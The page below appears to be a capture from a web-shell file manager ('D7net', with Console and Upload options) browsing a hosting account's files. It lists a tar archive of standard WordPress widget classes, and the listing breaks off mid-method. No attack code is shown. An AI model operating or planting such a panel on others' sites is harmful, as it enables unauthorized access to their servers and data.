D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
proc
/
self
/
root
/
proc
/
self
/
root
/
home
/
vblioqus
/
karachi777.vip
/
images
/
494334
/
65412
/
Filename :
widgets.tar
back
Copy
class-wp-widget-media-image.php 0000644 00000030552 15151224027 0012430 0 ustar 00 <?php /** * Widget API: WP_Widget_Media_Image class * * @package WordPress * @subpackage Widgets * @since 4.8.0 */ /** * Core class that implements an image widget. * * @since 4.8.0 * * @see WP_Widget_Media * @see WP_Widget */ class WP_Widget_Media_Image extends WP_Widget_Media { /** * Constructor. * * @since 4.8.0 */ public function __construct() { parent::__construct( 'media_image', __( 'Image' ), array( 'description' => __( 'Displays an image.' ), 'mime_type' => 'image', ) ); $this->l10n = array_merge( $this->l10n, array( 'no_media_selected' => __( 'No image selected' ), 'add_media' => _x( 'Add Image', 'label for button in the image widget' ), 'replace_media' => _x( 'Replace Image', 'label for button in the image widget; should preferably not be longer than ~13 characters long' ), 'edit_media' => _x( 'Edit Image', 'label for button in the image widget; should preferably not be longer than ~13 characters long' ), 'missing_attachment' => sprintf( /* translators: %s: URL to media library. */ __( 'That image cannot be found. Check your <a href="%s">media library</a> and make sure it was not deleted.' ), esc_url( admin_url( 'upload.php' ) ) ), /* translators: %d: Widget count. */ 'media_library_state_multi' => _n_noop( 'Image Widget (%d)', 'Image Widget (%d)' ), 'media_library_state_single' => __( 'Image Widget' ), ) ); } /** * Get schema for properties of a widget instance (item). * * @since 4.8.0 * * @see WP_REST_Controller::get_item_schema() * @see WP_REST_Controller::get_additional_fields() * @link https://core.trac.wordpress.org/ticket/35574 * * @return array Schema for properties. */ public function get_instance_schema() { return array_merge( array( 'size' => array( 'type' => 'string', 'enum' => array_merge( get_intermediate_image_sizes(), array( 'full', 'custom' ) ), 'default' => 'medium', 'description' => __( 'Size' ), ), 'width' => array( // Via 'customWidth', only when size=custom; otherwise via 'width'. 'type' => 'integer', 'minimum' => 0, 'default' => 0, 'description' => __( 'Width' ), ), 'height' => array( // Via 'customHeight', only when size=custom; otherwise via 'height'. 'type' => 'integer', 'minimum' => 0, 'default' => 0, 'description' => __( 'Height' ), ), 'caption' => array( 'type' => 'string', 'default' => '', 'sanitize_callback' => 'wp_kses_post', 'description' => __( 'Caption' ), 'should_preview_update' => false, ), 'alt' => array( 'type' => 'string', 'default' => '', 'sanitize_callback' => 'sanitize_text_field', 'description' => __( 'Alternative Text' ), ), 'link_type' => array( 'type' => 'string', 'enum' => array( 'none', 'file', 'post', 'custom' ), 'default' => 'custom', 'media_prop' => 'link', 'description' => __( 'Link To' ), 'should_preview_update' => true, ), 'link_url' => array( 'type' => 'string', 'default' => '', 'format' => 'uri', 'media_prop' => 'linkUrl', 'description' => __( 'URL' ), 'should_preview_update' => true, ), 'image_classes' => array( 'type' => 'string', 'default' => '', 'sanitize_callback' => array( $this, 'sanitize_token_list' ), 'media_prop' => 'extraClasses', 'description' => __( 'Image CSS Class' ), 'should_preview_update' => false, ), 'link_classes' => array( 'type' => 'string', 'default' => '', 'sanitize_callback' => array( $this, 'sanitize_token_list' ), 'media_prop' => 'linkClassName', 'should_preview_update' => false, 'description' => __( 'Link CSS Class' ), ), 'link_rel' => array( 'type' => 'string', 'default' => '', 'sanitize_callback' => array( $this, 'sanitize_token_list' ), 'media_prop' => 'linkRel', 'description' => __( 'Link Rel' ), 'should_preview_update' => false, ), 'link_target_blank' => array( 'type' => 'boolean', 'default' => false, 'media_prop' => 'linkTargetBlank', 'description' => __( 'Open link in a new tab' ), 'should_preview_update' => false, ), 'image_title' => array( 'type' => 'string', 'default' => '', 'sanitize_callback' => 'sanitize_text_field', 'media_prop' => 'title', 'description' => __( 'Image Title Attribute' ), 'should_preview_update' => false, ), /* * There are two additional properties exposed by the PostImage modal * that don't seem to be relevant, as they may only be derived read-only * values: * - originalUrl * - aspectRatio * - height (redundant when size is not custom) * - width (redundant when size is not custom) */ ), parent::get_instance_schema() ); } /** * Render the media on the frontend. * * @since 4.8.0 * * @param array $instance Widget instance props. */ public function render_media( $instance ) { $instance = array_merge( wp_list_pluck( $this->get_instance_schema(), 'default' ), $instance ); $instance = wp_parse_args( $instance, array( 'size' => 'thumbnail', ) ); $attachment = null; if ( $this->is_attachment_with_mime_type( $instance['attachment_id'], $this->widget_options['mime_type'] ) ) { $attachment = get_post( $instance['attachment_id'] ); } if ( $attachment ) { $caption = ''; if ( ! isset( $instance['caption'] ) ) { $caption = $attachment->post_excerpt; } elseif ( trim( $instance['caption'] ) ) { $caption = $instance['caption']; } $image_attributes = array( 'class' => sprintf( 'image wp-image-%d %s', $attachment->ID, $instance['image_classes'] ), 'style' => 'max-width: 100%; height: auto;', ); if ( ! empty( $instance['image_title'] ) ) { $image_attributes['title'] = $instance['image_title']; } if ( $instance['alt'] ) { $image_attributes['alt'] = $instance['alt']; } $size = $instance['size']; if ( 'custom' === $size || ! in_array( $size, array_merge( get_intermediate_image_sizes(), array( 'full' ) ), true ) ) { $size = array( $instance['width'], $instance['height'] ); $width = $instance['width']; } else { $caption_size = _wp_get_image_size_from_meta( $instance['size'], wp_get_attachment_metadata( $attachment->ID ) ); $width = empty( $caption_size[0] ) ? 0 : $caption_size[0]; } $image_attributes['class'] .= sprintf( ' attachment-%1$s size-%1$s', is_array( $size ) ? implode( 'x', $size ) : $size ); $image = wp_get_attachment_image( $attachment->ID, $size, false, $image_attributes ); } else { if ( empty( $instance['url'] ) ) { return; } $instance['size'] = 'custom'; $caption = $instance['caption']; $width = $instance['width']; $classes = 'image ' . $instance['image_classes']; if ( 0 === $instance['width'] ) { $instance['width'] = ''; } if ( 0 === $instance['height'] ) { $instance['height'] = ''; } $attr = array( 'class' => $classes, 'src' => $instance['url'], 'alt' => $instance['alt'], 'width' => $instance['width'], 'height' => $instance['height'], ); $loading_optimization_attr = wp_get_loading_optimization_attributes( 'img', $attr, 'widget_media_image' ); $attr = array_merge( $attr, $loading_optimization_attr ); $attr = array_map( 'esc_attr', $attr ); $image = '<img'; foreach ( $attr as $name => $value ) { $image .= ' ' . $name . '="' . $value . '"'; } $image .= ' />'; } // End if(). $url = ''; if ( 'file' === $instance['link_type'] ) { $url = $attachment ? wp_get_attachment_url( $attachment->ID ) : $instance['url']; } elseif ( $attachment && 'post' === $instance['link_type'] ) { $url = get_attachment_link( $attachment->ID ); } elseif ( 'custom' === $instance['link_type'] && ! empty( $instance['link_url'] ) ) { $url = $instance['link_url']; } if ( $url ) { $link = sprintf( '<a href="%s"', esc_url( $url ) ); if ( ! empty( $instance['link_classes'] ) ) { $link .= sprintf( ' class="%s"', esc_attr( $instance['link_classes'] ) ); } if ( ! empty( $instance['link_rel'] ) ) { $link .= sprintf( ' rel="%s"', esc_attr( $instance['link_rel'] ) ); } if ( ! empty( $instance['link_target_blank'] ) ) { $link .= ' target="_blank"'; } $link .= '>'; $link .= $image; $link .= '</a>'; $image = $link; } if ( $caption ) { $image = img_caption_shortcode( array( 'width' => $width, 'caption' => $caption, ), $image ); } echo $image; } /** * Loads the required media files for the media manager and scripts for media widgets. * * @since 4.8.0 */ public function enqueue_admin_scripts() { parent::enqueue_admin_scripts(); $handle = 'media-image-widget'; wp_enqueue_script( $handle ); $exported_schema = array(); foreach ( $this->get_instance_schema() as $field => $field_schema ) { $exported_schema[ $field ] = wp_array_slice_assoc( $field_schema, array( 'type', 'default', 'enum', 'minimum', 'format', 'media_prop', 'should_preview_update' ) ); } wp_add_inline_script( $handle, sprintf( 'wp.mediaWidgets.modelConstructors[ %s ].prototype.schema = %s;', wp_json_encode( $this->id_base, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ), wp_json_encode( $exported_schema, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) ); wp_add_inline_script( $handle, sprintf( ' wp.mediaWidgets.controlConstructors[ %1$s ].prototype.mime_type = %2$s; wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n = _.extend( {}, wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n, %3$s ); ', wp_json_encode( $this->id_base, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ), wp_json_encode( $this->widget_options['mime_type'], JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ), wp_json_encode( $this->l10n, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) ); } /** * Render form template scripts. * * @since 4.8.0 */ public function render_control_template_scripts() { parent::render_control_template_scripts(); ?> <script type="text/html" id="tmpl-wp-media-widget-image-fields"> <# var elementIdPrefix = 'el' + String( Math.random() ) + '_'; #> <# if ( data.url ) { #> <p class="media-widget-image-link"> <label for="{{ elementIdPrefix }}linkUrl"><?php esc_html_e( 'Link to:' ); ?></label> <input id="{{ elementIdPrefix }}linkUrl" type="text" class="widefat link" value="{{ data.link_url }}" placeholder="https://" pattern="((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#).*"> </p> <# } #> </script> <script type="text/html" id="tmpl-wp-media-widget-image-preview"> <# if ( data.error && 'missing_attachment' === data.error ) { #> <?php wp_admin_notice( $this->l10n['missing_attachment'], array( 'type' => 'error', 'additional_classes' => array( 'notice-alt', 'notice-missing-attachment' ), ) ); ?> <# } else if ( data.error ) { #> <?php wp_admin_notice( __( 'Unable to preview media due to an unknown error.' ), array( 'type' => 'error', 'additional_classes' => array( 'notice-alt' ), ) ); ?> <# } else if ( data.url ) { #> <img class="attachment-thumb" src="{{ data.url }}" draggable="false" alt="{{ data.alt }}" <# if ( ! data.alt && data.currentFilename ) { #> aria-label=" <?php echo esc_attr( sprintf( /* translators: %s: The image file name. */ __( 'The current image has no alternative text. The file name is: %s' ), '{{ data.currentFilename }}' ) ); ?> " <# } #> /> <# } #> </script> <?php } } class-wp-widget-custom-html.php 0000644 00000027577 15151224034 0012560 0 ustar 00 <?php /** * Widget API: WP_Widget_Custom_HTML class * * @package WordPress * @subpackage Widgets * @since 4.8.1 */ /** * Core class used to implement a Custom HTML widget. * * @since 4.8.1 * * @see WP_Widget */ class WP_Widget_Custom_HTML extends WP_Widget { /** * Whether or not the widget has been registered yet. * * @since 4.9.0 * @var bool */ protected $registered = false; /** * Default instance. * * @since 4.8.1 * @var array */ protected $default_instance = array( 'title' => '', 'content' => '', ); /** * Sets up a new Custom HTML widget instance. * * @since 4.8.1 */ public function __construct() { $widget_ops = array( 'classname' => 'widget_custom_html', 'description' => __( 'Arbitrary HTML code.' ), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, ); $control_ops = array( 'width' => 400, 'height' => 350, ); parent::__construct( 'custom_html', __( 'Custom HTML' ), $widget_ops, $control_ops ); } /** * Add hooks for enqueueing assets when registering all widget instances of this widget class. * * @since 4.9.0 * * @param int $number Optional. The unique order number of this widget instance * compared to other instances of the same class. Default -1. */ public function _register_one( $number = -1 ) { parent::_register_one( $number ); if ( $this->registered ) { return; } $this->registered = true; /* * Note that the widgets component in the customizer will also do * the 'admin_print_scripts-widgets.php' action in WP_Customize_Widgets::print_scripts(). */ add_action( 'admin_print_scripts-widgets.php', array( $this, 'enqueue_admin_scripts' ) ); /* * Note that the widgets component in the customizer will also do * the 'admin_footer-widgets.php' action in WP_Customize_Widgets::print_footer_scripts(). */ add_action( 'admin_footer-widgets.php', array( 'WP_Widget_Custom_HTML', 'render_control_template_scripts' ) ); // Note this action is used to ensure the help text is added to the end. add_action( 'admin_head-widgets.php', array( 'WP_Widget_Custom_HTML', 'add_help_text' ) ); } /** * Filters gallery shortcode attributes. * * Prevents all of a site's attachments from being shown in a gallery displayed on a * non-singular template where a $post context is not available. * * @since 4.9.0 * * @param array $attrs Attributes. * @return array Attributes. */ public function _filter_gallery_shortcode_attrs( $attrs ) { if ( ! is_singular() && empty( $attrs['id'] ) && empty( $attrs['include'] ) ) { $attrs['id'] = -1; } return $attrs; } /** * Outputs the content for the current Custom HTML widget instance. * * @since 4.8.1 * * @global WP_Post $post Global post object. * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current Custom HTML widget instance. */ public function widget( $args, $instance ) { global $post; // Override global $post so filters (and shortcodes) apply in a consistent context. $original_post = $post; if ( is_singular() ) { // Make sure post is always the queried object on singular queries (not from another sub-query that failed to clean up the global $post). $post = get_queried_object(); } else { // Nullify the $post global during widget rendering to prevent shortcodes from running with the unexpected context on archive queries. $post = null; } // Prevent dumping out all attachments from the media library. add_filter( 'shortcode_atts_gallery', array( $this, '_filter_gallery_shortcode_attrs' ) ); $instance = array_merge( $this->default_instance, $instance ); /** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */ $title = apply_filters( 'widget_title', $instance['title'], $instance, $this->id_base ); // Prepare instance data that looks like a normal Text widget. $simulated_text_widget_instance = array_merge( $instance, array( 'text' => isset( $instance['content'] ) ? $instance['content'] : '', 'filter' => false, // Because wpautop is not applied. 'visual' => false, // Because it wasn't created in TinyMCE. ) ); unset( $simulated_text_widget_instance['content'] ); // Was moved to 'text' prop. /** This filter is documented in wp-includes/widgets/class-wp-widget-text.php */ $content = apply_filters( 'widget_text', $instance['content'], $simulated_text_widget_instance, $this ); /** * Filters the content of the Custom HTML widget. * * @since 4.8.1 * * @param string $content The widget content. * @param array $instance Array of settings for the current widget. * @param WP_Widget_Custom_HTML $widget Current Custom HTML widget instance. */ $content = apply_filters( 'widget_custom_html_content', $content, $instance, $this ); // Restore post global. $post = $original_post; remove_filter( 'shortcode_atts_gallery', array( $this, '_filter_gallery_shortcode_attrs' ) ); // Inject the Text widget's container class name alongside this widget's class name for theme styling compatibility. $args['before_widget'] = preg_replace( '/(?<=\sclass=["\'])/', 'widget_text ', $args['before_widget'] ); echo $args['before_widget']; if ( ! empty( $title ) ) { echo $args['before_title'] . $title . $args['after_title']; } echo '<div class="textwidget custom-html-widget">'; // The textwidget class is for theme styling compatibility. echo $content; echo '</div>'; echo $args['after_widget']; } /** * Handles updating settings for the current Custom HTML widget instance. * * @since 4.8.1 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Settings to save or bool false to cancel saving. */ public function update( $new_instance, $old_instance ) { $instance = array_merge( $this->default_instance, $old_instance ); $instance['title'] = sanitize_text_field( $new_instance['title'] ); if ( current_user_can( 'unfiltered_html' ) ) { $instance['content'] = $new_instance['content']; } else { $instance['content'] = wp_kses_post( $new_instance['content'] ); } return $instance; } /** * Loads the required scripts and styles for the widget control. * * @since 4.9.0 */ public function enqueue_admin_scripts() { $settings = wp_enqueue_code_editor( array( 'type' => 'text/html', 'codemirror' => array( 'indentUnit' => 2, 'tabSize' => 2, ), ) ); wp_enqueue_script( 'custom-html-widgets' ); wp_add_inline_script( 'custom-html-widgets', sprintf( 'wp.customHtmlWidgets.idBases.push( %s );', wp_json_encode( $this->id_base, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) ); if ( empty( $settings ) ) { $settings = array( 'disabled' => true, ); } wp_add_inline_script( 'custom-html-widgets', sprintf( 'wp.customHtmlWidgets.init( %s );', wp_json_encode( $settings, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ), 'after' ); $l10n = array( 'errorNotice' => array( /* translators: %d: Error count. */ 'singular' => _n( 'There is %d error which must be fixed before you can save.', 'There are %d errors which must be fixed before you can save.', 1 ), /* translators: %d: Error count. */ 'plural' => _n( 'There is %d error which must be fixed before you can save.', 'There are %d errors which must be fixed before you can save.', 2 ), // @todo This is lacking, as some languages have a dedicated dual form. For proper handling of plurals in JS, see #20491. ), ); wp_add_inline_script( 'custom-html-widgets', sprintf( 'jQuery.extend( wp.customHtmlWidgets.l10n, %s );', wp_json_encode( $l10n, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ), 'after' ); } /** * Outputs the Custom HTML widget settings form. * * @since 4.8.1 * @since 4.9.0 The form contains only hidden sync inputs. For the control UI, see `WP_Widget_Custom_HTML::render_control_template_scripts()`. * * @see WP_Widget_Custom_HTML::render_control_template_scripts() * * @param array $instance Current instance. */ public function form( $instance ) { $instance = wp_parse_args( (array) $instance, $this->default_instance ); ?> <input id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" class="title sync-input" type="hidden" value="<?php echo esc_attr( $instance['title'] ); ?>" /> <textarea id="<?php echo $this->get_field_id( 'content' ); ?>" name="<?php echo $this->get_field_name( 'content' ); ?>" class="content sync-input" hidden><?php echo esc_textarea( $instance['content'] ); ?></textarea> <?php } /** * Render form template scripts. * * @since 4.9.0 */ public static function render_control_template_scripts() { ?> <script type="text/html" id="tmpl-widget-custom-html-control-fields"> <# var elementIdPrefix = 'el' + String( Math.random() ).replace( /\D/g, '' ) + '_' #> <p> <label for="{{ elementIdPrefix }}title"><?php esc_html_e( 'Title:' ); ?></label> <input id="{{ elementIdPrefix }}title" type="text" class="widefat title"> </p> <p> <label for="{{ elementIdPrefix }}content" id="{{ elementIdPrefix }}content-label"><?php esc_html_e( 'Content:' ); ?></label> <textarea id="{{ elementIdPrefix }}content" class="widefat code content" rows="16" cols="20"></textarea> </p> <?php if ( ! current_user_can( 'unfiltered_html' ) ) : ?> <?php $probably_unsafe_html = array( 'script', 'iframe', 'form', 'input', 'style' ); $allowed_html = wp_kses_allowed_html( 'post' ); $disallowed_html = array_diff( $probably_unsafe_html, array_keys( $allowed_html ) ); ?> <?php if ( ! empty( $disallowed_html ) ) : ?> <# if ( data.codeEditorDisabled ) { #> <p> <?php _e( 'Some HTML tags are not permitted, including:' ); ?> <code><?php echo implode( '</code>, <code>', $disallowed_html ); ?></code> </p> <# } #> <?php endif; ?> <?php endif; ?> <div class="code-editor-error-container"></div> </script> <?php } /** * Add help text to widgets admin screen. * * @since 4.9.0 */ public static function add_help_text() { $screen = get_current_screen(); $content = '<p>'; $content .= __( 'Use the Custom HTML widget to add arbitrary HTML code to your widget areas.' ); $content .= '</p>'; if ( 'false' !== wp_get_current_user()->syntax_highlighting ) { $content .= '<p>'; $content .= sprintf( /* translators: 1: Link to user profile, 2: Additional link attributes, 3: Accessibility text. */ __( 'The edit field automatically highlights code syntax. You can disable this in your <a href="%1$s" %2$s>user profile%3$s</a> to work in plain text mode.' ), esc_url( get_edit_profile_url() ), 'class="external-link" target="_blank"', sprintf( '<span class="screen-reader-text"> %s</span>', /* translators: Hidden accessibility text. */ __( '(opens in a new tab)' ) ) ); $content .= '</p>'; $content .= '<p id="editor-keyboard-trap-help-1">' . __( 'When using a keyboard to navigate:' ) . '</p>'; $content .= '<ul>'; $content .= '<li id="editor-keyboard-trap-help-2">' . __( 'In the editing area, the Tab key enters a tab character.' ) . '</li>'; $content .= '<li id="editor-keyboard-trap-help-3">' . __( 'To move away from this area, press the Esc key followed by the Tab key.' ) . '</li>'; $content .= '<li id="editor-keyboard-trap-help-4">' . __( 'Screen reader users: when in forms mode, you may need to press the Esc key twice.' ) . '</li>'; $content .= '</ul>'; } $screen->add_help_tab( array( 'id' => 'custom_html_widget', 'title' => __( 'Custom HTML Widget' ), 'content' => $content, ) ); } } class-wp-widget-categories.php 0000644 00000016666 15151224041 0012424 0 ustar 00 <?php /** * Widget API: WP_Widget_Categories class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Core class used to implement a Categories widget. * * @since 2.8.0 * * @see WP_Widget */ class WP_Widget_Categories extends WP_Widget { /** * Sets up a new Categories widget instance. * * @since 2.8.0 */ public function __construct() { $widget_ops = array( 'classname' => 'widget_categories', 'description' => __( 'A list or dropdown of categories.' ), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, ); parent::__construct( 'categories', __( 'Categories' ), $widget_ops ); } /** * Outputs the content for the current Categories widget instance. * * @since 2.8.0 * @since 4.2.0 Creates a unique HTML ID for the `<select>` element * if more than one instance is displayed on the page. * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current Categories widget instance. */ public function widget( $args, $instance ) { static $first_dropdown = true; $default_title = __( 'Categories' ); $title = ! empty( $instance['title'] ) ? $instance['title'] : $default_title; /** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */ $title = apply_filters( 'widget_title', $title, $instance, $this->id_base ); $count = ! empty( $instance['count'] ) ? '1' : '0'; $hierarchical = ! empty( $instance['hierarchical'] ) ? '1' : '0'; $dropdown = ! empty( $instance['dropdown'] ) ? '1' : '0'; echo $args['before_widget']; if ( $title ) { echo $args['before_title'] . $title . $args['after_title']; } $cat_args = array( 'orderby' => 'name', 'show_count' => $count, 'hierarchical' => $hierarchical, ); if ( $dropdown ) { printf( '<form action="%s" method="get">', esc_url( home_url() ) ); $dropdown_id = ( $first_dropdown ) ? 'cat' : "{$this->id_base}-dropdown-{$this->number}"; $first_dropdown = false; echo '<label class="screen-reader-text" for="' . esc_attr( $dropdown_id ) . '">' . $title . '</label>'; $cat_args['show_option_none'] = __( 'Select Category' ); $cat_args['id'] = $dropdown_id; /** * Filters the arguments for the Categories widget drop-down. * * @since 2.8.0 * @since 4.9.0 Added the `$instance` parameter. * * @see wp_dropdown_categories() * * @param array $cat_args An array of Categories widget drop-down arguments. * @param array $instance Array of settings for the current widget. */ wp_dropdown_categories( apply_filters( 'widget_categories_dropdown_args', $cat_args, $instance ) ); echo '</form>'; ob_start(); ?> <script> ( ( dropdownId ) => { const dropdown = document.getElementById( dropdownId ); function onSelectChange() { setTimeout( () => { if ( 'escape' === dropdown.dataset.lastkey ) { return; } if ( dropdown.value && parseInt( dropdown.value ) > 0 && dropdown instanceof HTMLSelectElement ) { dropdown.parentElement.submit(); } }, 250 ); } function onKeyUp( event ) { if ( 'Escape' === event.key ) { dropdown.dataset.lastkey = 'escape'; } else { delete dropdown.dataset.lastkey; } } function onClick() { delete dropdown.dataset.lastkey; } dropdown.addEventListener( 'keyup', onKeyUp ); dropdown.addEventListener( 'click', onClick ); dropdown.addEventListener( 'change', onSelectChange ); })( <?php echo wp_json_encode( $dropdown_id, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ); ?> ); </script> <?php wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) . "\n//# sourceURL=" . rawurlencode( __METHOD__ ) ); } else { $format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml'; /** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */ $format = apply_filters( 'navigation_widgets_format', $format ); if ( 'html5' === $format ) { // The title may be filtered: Strip out HTML and make sure the aria-label is never empty. $title = trim( strip_tags( $title ) ); $aria_label = $title ? $title : $default_title; echo '<nav aria-label="' . esc_attr( $aria_label ) . '">'; } ?> <ul> <?php $cat_args['title_li'] = ''; /** * Filters the arguments for the Categories widget. * * @since 2.8.0 * @since 4.9.0 Added the `$instance` parameter. * * @param array $cat_args An array of Categories widget options. * @param array $instance Array of settings for the current widget. */ wp_list_categories( apply_filters( 'widget_categories_args', $cat_args, $instance ) ); ?> </ul> <?php if ( 'html5' === $format ) { echo '</nav>'; } } echo $args['after_widget']; } /** * Handles updating settings for the current Categories widget instance. * * @since 2.8.0 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Updated settings to save. */ public function update( $new_instance, $old_instance ) { $instance = $old_instance; $instance['title'] = sanitize_text_field( $new_instance['title'] ); $instance['count'] = ! empty( $new_instance['count'] ) ? 1 : 0; $instance['hierarchical'] = ! empty( $new_instance['hierarchical'] ) ? 1 : 0; $instance['dropdown'] = ! empty( $new_instance['dropdown'] ) ? 1 : 0; return $instance; } /** * Outputs the settings form for the Categories widget. * * @since 2.8.0 * * @param array $instance Current settings. */ public function form( $instance ) { // Defaults. $instance = wp_parse_args( (array) $instance, array( 'title' => '' ) ); $count = isset( $instance['count'] ) ? (bool) $instance['count'] : false; $hierarchical = isset( $instance['hierarchical'] ) ? (bool) $instance['hierarchical'] : false; $dropdown = isset( $instance['dropdown'] ) ? (bool) $instance['dropdown'] : false; ?> <p> <label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label> <input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" /> </p> <p> <input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id( 'dropdown' ); ?>" name="<?php echo $this->get_field_name( 'dropdown' ); ?>"<?php checked( $dropdown ); ?> /> <label for="<?php echo $this->get_field_id( 'dropdown' ); ?>"><?php _e( 'Display as dropdown' ); ?></label> <br /> <input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id( 'count' ); ?>" name="<?php echo $this->get_field_name( 'count' ); ?>"<?php checked( $count ); ?> /> <label for="<?php echo $this->get_field_id( 'count' ); ?>"><?php _e( 'Show post counts' ); ?></label> <br /> <input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id( 'hierarchical' ); ?>" name="<?php echo $this->get_field_name( 'hierarchical' ); ?>"<?php checked( $hierarchical ); ?> /> <label for="<?php echo $this->get_field_id( 'hierarchical' ); ?>"><?php _e( 'Show hierarchy' ); ?></label> </p> <?php } } class-wp-widget-media.php 0000644 00000036007 15151224046 0011352 0 ustar 00 <?php /** * Widget API: WP_Media_Widget class * * @package WordPress * @subpackage Widgets * @since 4.8.0 */ /** * Core class that implements a media widget. * * @since 4.8.0 * * @see WP_Widget */ abstract class WP_Widget_Media extends WP_Widget { /** * Translation labels. * * @since 4.8.0 * @var array */ public $l10n = array( 'add_to_widget' => '', 'replace_media' => '', 'edit_media' => '', 'media_library_state_multi' => '', 'media_library_state_single' => '', 'missing_attachment' => '', 'no_media_selected' => '', 'add_media' => '', ); /** * Whether or not the widget has been registered yet. * * @since 4.8.1 * @var bool */ protected $registered = false; /** * The default widget description. * * @since 6.0.0 * @var string */ protected static $default_description = ''; /** * The default localized strings used by the widget. * * @since 6.0.0 * @var string[] */ protected static $l10n_defaults = array(); /** * Constructor. * * @since 4.8.0 * * @param string $id_base Base ID for the widget, lowercase and unique. * @param string $name Name for the widget displayed on the configuration page. * @param array $widget_options Optional. Widget options. See wp_register_sidebar_widget() for * information on accepted arguments. Default empty array. * @param array $control_options Optional. Widget control options. See wp_register_widget_control() * for information on accepted arguments. Default empty array. */ public function __construct( $id_base, $name, $widget_options = array(), $control_options = array() ) { $widget_opts = wp_parse_args( $widget_options, array( 'description' => self::get_default_description(), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, 'mime_type' => '', ) ); $control_opts = wp_parse_args( $control_options, array() ); $this->l10n = array_merge( self::get_l10n_defaults(), array_filter( $this->l10n ) ); parent::__construct( $id_base, $name, $widget_opts, $control_opts ); } /** * Add hooks while registering all widget instances of this widget class. * * @since 4.8.0 * * @param int $number Optional. The unique order number of this widget instance * compared to other instances of the same class. Default -1. */ public function _register_one( $number = -1 ) { parent::_register_one( $number ); if ( $this->registered ) { return; } $this->registered = true; /* * Note that the widgets component in the customizer will also do * the 'admin_print_scripts-widgets.php' action in WP_Customize_Widgets::print_scripts(). */ add_action( 'admin_print_scripts-widgets.php', array( $this, 'enqueue_admin_scripts' ) ); if ( $this->is_preview() ) { add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_preview_scripts' ) ); } /* * Note that the widgets component in the customizer will also do * the 'admin_footer-widgets.php' action in WP_Customize_Widgets::print_footer_scripts(). */ add_action( 'admin_footer-widgets.php', array( $this, 'render_control_template_scripts' ) ); add_filter( 'display_media_states', array( $this, 'display_media_state' ), 10, 2 ); } /** * Get schema for properties of a widget instance (item). * * @since 4.8.0 * * @see WP_REST_Controller::get_item_schema() * @see WP_REST_Controller::get_additional_fields() * @link https://core.trac.wordpress.org/ticket/35574 * * @return array Schema for properties. */ public function get_instance_schema() { $schema = array( 'attachment_id' => array( 'type' => 'integer', 'default' => 0, 'minimum' => 0, 'description' => __( 'Attachment post ID' ), 'media_prop' => 'id', ), 'url' => array( 'type' => 'string', 'default' => '', 'format' => 'uri', 'description' => __( 'URL to the media file' ), ), 'title' => array( 'type' => 'string', 'default' => '', 'sanitize_callback' => 'sanitize_text_field', 'description' => __( 'Title for the widget' ), 'should_preview_update' => false, ), ); /** * Filters the media widget instance schema to add additional properties. * * @since 4.9.0 * * @param array $schema Instance schema. * @param WP_Widget_Media $widget Widget object. */ $schema = apply_filters( "widget_{$this->id_base}_instance_schema", $schema, $this ); return $schema; } /** * Determine if the supplied attachment is for a valid attachment post with the specified MIME type. * * @since 4.8.0 * * @param int|WP_Post $attachment Attachment post ID or object. * @param string $mime_type MIME type. * @return bool Is matching MIME type. */ public function is_attachment_with_mime_type( $attachment, $mime_type ) { if ( empty( $attachment ) ) { return false; } $attachment = get_post( $attachment ); if ( ! $attachment ) { return false; } if ( 'attachment' !== $attachment->post_type ) { return false; } return wp_attachment_is( $mime_type, $attachment ); } /** * Sanitize a token list string, such as used in HTML rel and class attributes. * * @since 4.8.0 * * @link http://w3c.github.io/html/infrastructure.html#space-separated-tokens * @link https://developer.mozilla.org/en-US/docs/Web/API/DOMTokenList * @param string|array $tokens List of tokens separated by spaces, or an array of tokens. * @return string Sanitized token string list. */ public function sanitize_token_list( $tokens ) { if ( is_string( $tokens ) ) { $tokens = preg_split( '/\s+/', trim( $tokens ) ); } $tokens = array_map( 'sanitize_html_class', $tokens ); $tokens = array_filter( $tokens ); return implode( ' ', $tokens ); } /** * Displays the widget on the front-end. * * @since 4.8.0 * * @see WP_Widget::widget() * * @param array $args Display arguments including before_title, after_title, before_widget, and after_widget. * @param array $instance Saved setting from the database. */ public function widget( $args, $instance ) { $instance = wp_parse_args( $instance, wp_list_pluck( $this->get_instance_schema(), 'default' ) ); // Short-circuit if no media is selected. if ( ! $this->has_content( $instance ) ) { return; } echo $args['before_widget']; 